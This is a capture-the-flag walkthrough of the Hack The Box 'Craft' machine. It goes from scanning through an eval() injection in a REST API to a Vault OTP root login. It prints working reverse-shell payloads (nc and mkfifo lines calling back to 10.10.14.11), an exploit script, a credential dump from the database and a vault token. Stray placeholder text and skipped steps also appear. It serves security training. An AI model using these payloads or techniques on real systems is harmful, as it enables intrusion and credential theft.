Craft is a Medium linux box released back in July 2019.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.10/23 ] [ /dev/pts/3 ] [~]
→ sudo nmap -vvv -sTU -p- 10.10.10.110 --max-retries 0 -Pn --min-rate=200 | grep Discovered
Discovered open port 443/tcp on 10.10.10.110
Discovered open port 22/tcp on 10.10.10.110
[ 10.10.14.10/23 ] [ /dev/pts/3 ] [~]
→ nmap -sCV -p443,22 10.10.10.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-26 10:07 BST
Nmap scan report for 10.10.10.110
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.70 seconds
[ 10.10.14.10/23 ] [ /dev/pts/5 ] [~]
→ sudo su
[sudo] password for nothing:
[ 10.10.14.10/23 ] [ /dev/pts/5 ] [/home/nothing]
→ whoami
root
[ 10.10.14.10/23 ] [ /dev/pts/5 ] [/home/nothing]
→ echo '10.10.10.110 craft.htb' >> /etc/hosts
Our nmap scan picked up port 443 so let's investigate it:
The webpage hints us towards a public rest API:
Said public rest API is a subdomain of craft.htb which is api.craft.htb so we need to add it to our hosts file as well as the gogs subdomain:
[ 192.168.0.32/24 ] [ /dev/pts/2 ] [~]
→ sudo nano /etc/hosts
[sudo] password for nothing:
[ 192.168.0.32/24 ] [ /dev/pts/2 ] [~]
→ cat /etc/hosts | grep craft
10.10.10.110 craft.htb api.craft.htb gogs.craft.htb
the gogs subdomain contains the sourcecode while the api subdomain contains operations which can be performed to interact with the REST API that is present on the machine.
curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'
dinesh:4aUh0A8PbVJxgd
Now that we have his credentials, we can exploit the eval() function we found earlier using denish's curl command in order to make an injection with a POST request to /api/brew/ To do so we could use maggick's python script that i modified to work under python3 :
#!/usr/bin/env python
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '__import__(\'os\').popen(\'nc 10.10.14.11 9001 -e /bin/sh\').read()'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
print(json_data)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
Running it we get a reverse shell as root inside a jail, which obviously won't get us the root flag,
Another way of getting in is by using 0xdf's bash commands which are directly using the curl commands to directly spawn us a shell:
TOKEN=$(curl -s -k -X GET "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" -H "accept: application/json" | jq -r '.token'); \
curl -X POST "https://api.craft.htb/api/brew/" -H "accept: application/json" -H "Content-Type: application/json" -d "{
\"id\": 0,
\"brewer\": \"0xdf\",
\"name\": \"beer\",
\"style\": \"bad\",
\"abv\": \"__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f')\"}" -k -H "X-CRAFT-API-TOKEN: $TOKEN"
[ 10.10.14.11/23 ] [ /dev/pts/2 ] [~]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.110] 34287
/bin/sh: can't access tty; job control turned off
/opt/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Before we do anything, let's upgrade our shell to a full tty shell:
/opt/app # python -c 'import pty; pty.spawn("/bin/sh")'
/opt/app # ^Z
[1]+ Stopped nc -lvnp 9001
[ 10.10.14.11/23 ] [ /dev/pts/5 ] [~]
→ stty raw -echo
[ 10.10.14.11/23 ] [ /dev/pts/5 ] [~]
→ nc -lvnp 9001
reset
/opt/app # export SHELL=bash
/opt/app # export TERM=xterm-256color
/opt/app # l
ld ldd linux32 loadfont login ls lspci lzma
ld.bfd less linux64 loadkmap logread lsmod lsusb lzop
ldconfig link ln logger losetup lsof lzcat lzopcat
/opt/app # ls
What we did here was :
-Spawn a /bin/sh tty shell using python's pty library
-Backgrounded our shell (CTRL+Z)
-Typed "stty raw -echo" and then fg
-Resetted the terminal by typing "reset"
-Exported our SHELL and TERM variables
Which gave us tab completion which is preety neat to continue, especially to edit files with vim as you'll see later:
/opt/app # uname -a
uname -a
Linux 5a3d243127f5 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Linux
/opt/app # cat /proc/self/cgroup
cat /proc/self/cgroup
10:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
9:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
8:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
7:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
6:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
5:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
4:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
3:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
2:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
Running uname -a and cat /proc/self/cgroup shows us that we are in a docker container, so after poking around that jail we look into the settings.py file that contains the database credentials:
/opt/app # ps auxw
PID USER TIME COMMAND
1 root 0:02 python ./app.py
65 root 0:00 /bin/sh
67 root 0:00 python -c import pty; pty.spawn("/bin/sh")
68 root 0:00 /bin/sh
95 root 0:00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f
98 root 0:00 cat /tmp/f
99 root 0:00 /bin/sh -i
100 root 0:00 nc 10.10.14.11 9001
102 root 0:00 ps auxw
Running ps auxw we can see that there aren't many processes active, it seems like there's only our python shell that's active right now.
/opt/app # ls -lash
ls -lash
total 32
4 drwxr-xr-x 5 root root 4.0K Feb 10 2019 .
4 drwxr-xr-x 1 root root 4.0K Feb 9 2019 ..
4 drwxr-xr-x 8 root root 4.0K Feb 8 2019 .git
4 -rw-r--r-- 1 root root 18 Feb 7 2019 .gitignore
4 -rw-r--r-- 1 root root 1.5K Feb 7 2019 app.py
4 drwxr-xr-x 5 root root 4.0K Feb 7 2019 craft_api
4 -rwxr-xr-x 1 root root 673 Feb 8 2019 dbtest.py
4 drwxr-xr-x 2 root root 4.0K Feb 7 2019 tests
/opt/app # cd craft_api
cd craft_api
/opt/app/craft_api # ls
ls
__init__.py __pycache__ api database settings.py
/opt/app/craft_api # cat settings.py
cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
The application uses SQLAlchemy to interact with the mysql database, and we find an example of code in dbtest.py and models.py:
/opt/app/craft_api # cd ..
cd ..
/opt/app # cat dbtest.py
cat dbtest.py
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
finally:
connection.close()
/opt/app # ls
ls
app.py craft_api dbtest.py tests
/opt/app # cd craft_api
cd craft_api
/opt/app/craft_api # ls
ls
__init__.py __pycache__ api database settings.py
/opt/app/craft_api # cd database
cd database
/opt/app/craft_api/database # ls
ls
__init__.py __pycache__ models.py
/opt/app/craft_api/database # cat models.py
cat models.py
# The examples in this file come from the Flask-SQLAlchemy documentation
# For more information take a look at:
# http://flask-sqlalchemy.pocoo.org/2.1/quickstart/#simple-relationships
from datetime import datetime
from craft_api.database import db
class Brew(db.Model):
id = db.Column(db.Integer, primary_key=True)
brewer = db.Column(db.String(80))
name = db.Column(db.Text)
style = db.Column(db.Text)
abv = db.Column(db.Numeric)
def __init__(self, brewer, name, style, abv):
self.brewer = brewer
self.name = name
self.style = style
self.abv = abv
def __repr__(self):
return '' % self.name
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(45))
password = db.Column(db.String(80))
def __init__(self, username, password):
self.username = username
self.password = password
so from here the goal is to modify the SQL query of dbtest.py in order to fetch all the content of the user table:
Now you see why it was important for us to spawn a full tty shell with tab completion, because we need to edit this file with vim and without a fully interactive shell this is next to impossible, and you'd need to edit it on your machine, and then send it over to the machine, so continuing we can use this pythonscript to execute any sql command we want, and most particularly listing the contents of the craft database which contains the user table:
/opt/app # python dbtest.py 'SELECT user()'
[{'user()': 'craft@172.20.0.6'}]
/opt/app # python dbtest.py "SELECT schema_name FROM information_schema.schemata;"
[{'SCHEMA_NAME': 'information_schema'}, {'SCHEMA_NAME': 'craft'}
So here we see that we have 2 databases, information_schema and craft :
/opt/app # python dbtest.py "SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'"
[{'TABLE_SCHEMA': 'craft', 'TABLE_NAME': 'brew'}, {'TABLE_SCHEMA': 'craft', 'TABLE_NAME': 'user'}]
The interesting table here is the user table, so let's enumerate it :
/opt/app # python dbtest.py "SELECT * from user"
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
And we have credentials, the important credentials here are gilfoyle's credentials which we can use to login in gogs to reveal a private repository:
[ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft]
→ nano id_rsa_gilfoyle
[ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft]
→ chmod 600 id_rsa_gilfoyle
[ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft]
→ ssh -i id_rsa_gilfoyle gilfoyle@craft.htb
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Enter passphrase for key 'id_rsa_gilfoyle':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$ id
uid=1001(gilfoyle) gid=1001(gilfoyle) groups=1001(gilfoyle)
gilfoyle@craft:~$ cat user.txt
bbXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the user flag.
the text goes here
gilfoyle@craft:~$ env
SSH_CONNECTION=10.10.14.11 33304 10.10.10.110 22
LANG=en_US.UTF-8
XDG_SESSION_ID=217
USER=gilfoyle
PWD=/home/gilfoyle
HOME=/home/gilfoyle
SSH_CLIENT=10.10.14.11 33304 22
SSH_TTY=/dev/pts/0
MAIL=/var/mail/gilfoyle
TERM=screen-256color
SHELL=/bin/bash
VAULT_ADDR=https://vault.craft.htb:8200/
SHLVL=1
LOGNAME=gilfoyle
XDG_RUNTIME_DIR=/run/user/1001
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
_=/usr/bin/env
gilfoyle@craft:~$ ls -lash
total 36K
4.0K drwx------ 4 gilfoyle gilfoyle 4.0K Feb 9 2019 .
4.0K drwxr-xr-x 3 root root 4.0K Feb 9 2019 ..
4.0K -rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
4.0K drwx------ 3 gilfoyle gilfoyle 4.0K Feb 9 2019 .config
4.0K -rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
4.0K drwx------ 2 gilfoyle gilfoyle 4.0K Feb 9 2019 .ssh
4.0K -r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
4.0K -rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
4.0K -rw------- 1 gilfoyle gilfoyle 2.5K Feb 9 2019 .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Here we are hinted towards a vault binary, which we can check that it is there on this machine:
gilfoyle@craft:~$ which vault
/usr/local/bin/vault
Vault is suppposed to "Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API"
Looking back at the private repository, there is also an other interesting file: docker-compose.yml
version: '3'
services:
db:
image: mysql
expose:
- "3306"
volumes:
- /opt/storage/mysql:/var/lib/mysql
repo:
image: gogs/gogs
expose:
- "6022"
- "3000"
ports:
- 6022:6022
volumes:
- /opt/storage/gogs:/data
home:
image: craft-flask:master
volumes:
- /opt/storage/craft-home/:/opt/app
expose:
- "8888"
command: [python, ./app.py]
api:
image: craft-flask:master
volumes:
- /opt/storage/craft-api/:/opt/app
expose:
- "8888"
command: [python, ./app.py]
proxy:
image: nginx:latest
volumes:
- /opt/storage/nginx/conf/nginx.conf:/etc/nginx/nginx.conf
- /opt/storage/nginx/pki/:/etc/nginx/pki/
ports:
- 80:80
- 443:443
vault:
image: craft-vault:master
volumes:
- /opt/storage/vault/config:/vault/config
- /opt/storage/vault/pki:/vault/pki
- /opt/storage/vault/log:/vault/logs
- /opt/storage/vault/data:/vault/data
expose:
- "8200"
entrypoint: vault server -config /vault/config/config.hcl
privileged: true
This tells us how the http traffic is routed, the sql config gives us info as to how the database is initialised, which may come in handy later on. The interesting part is said vault and it's config, which has another file related to it:
Enumerating it further:
Looks like a rabbit hole, so the idea here is to use the secret sh script that we found earlier:
gilfoyle@craft:~$ vault read ssh/roles/root_otp
Key Value
--- -----
allowed_users n/a
cidr_list 0.0.0.0/0
default_user root
exclude_cidr_list n/a
key_type otp
port 22
The important thing here is that it hints us towards a ssh connection into said vault, as the root user, using the otp mode, so we do so:
gilfoyle@craft:~$ vault ssh -mode=otp -role=root_otp root@127.0.0.1
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 22922797-90f8-8d0f-9414-7f413458f6e4
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
That's preety neat, it gives us the root password for vault because it couldn't locate sshpass.
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# id
uid=0(root) gid=0(root) groups=0(root)
root@craft:~# cat /root/root.txt
83XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the root flag.
Here we can see the progress graph :
Some Address 67120,
Duttlenheim, France.
This cute theme was created to showcase your work in a simple way. Use it wisely.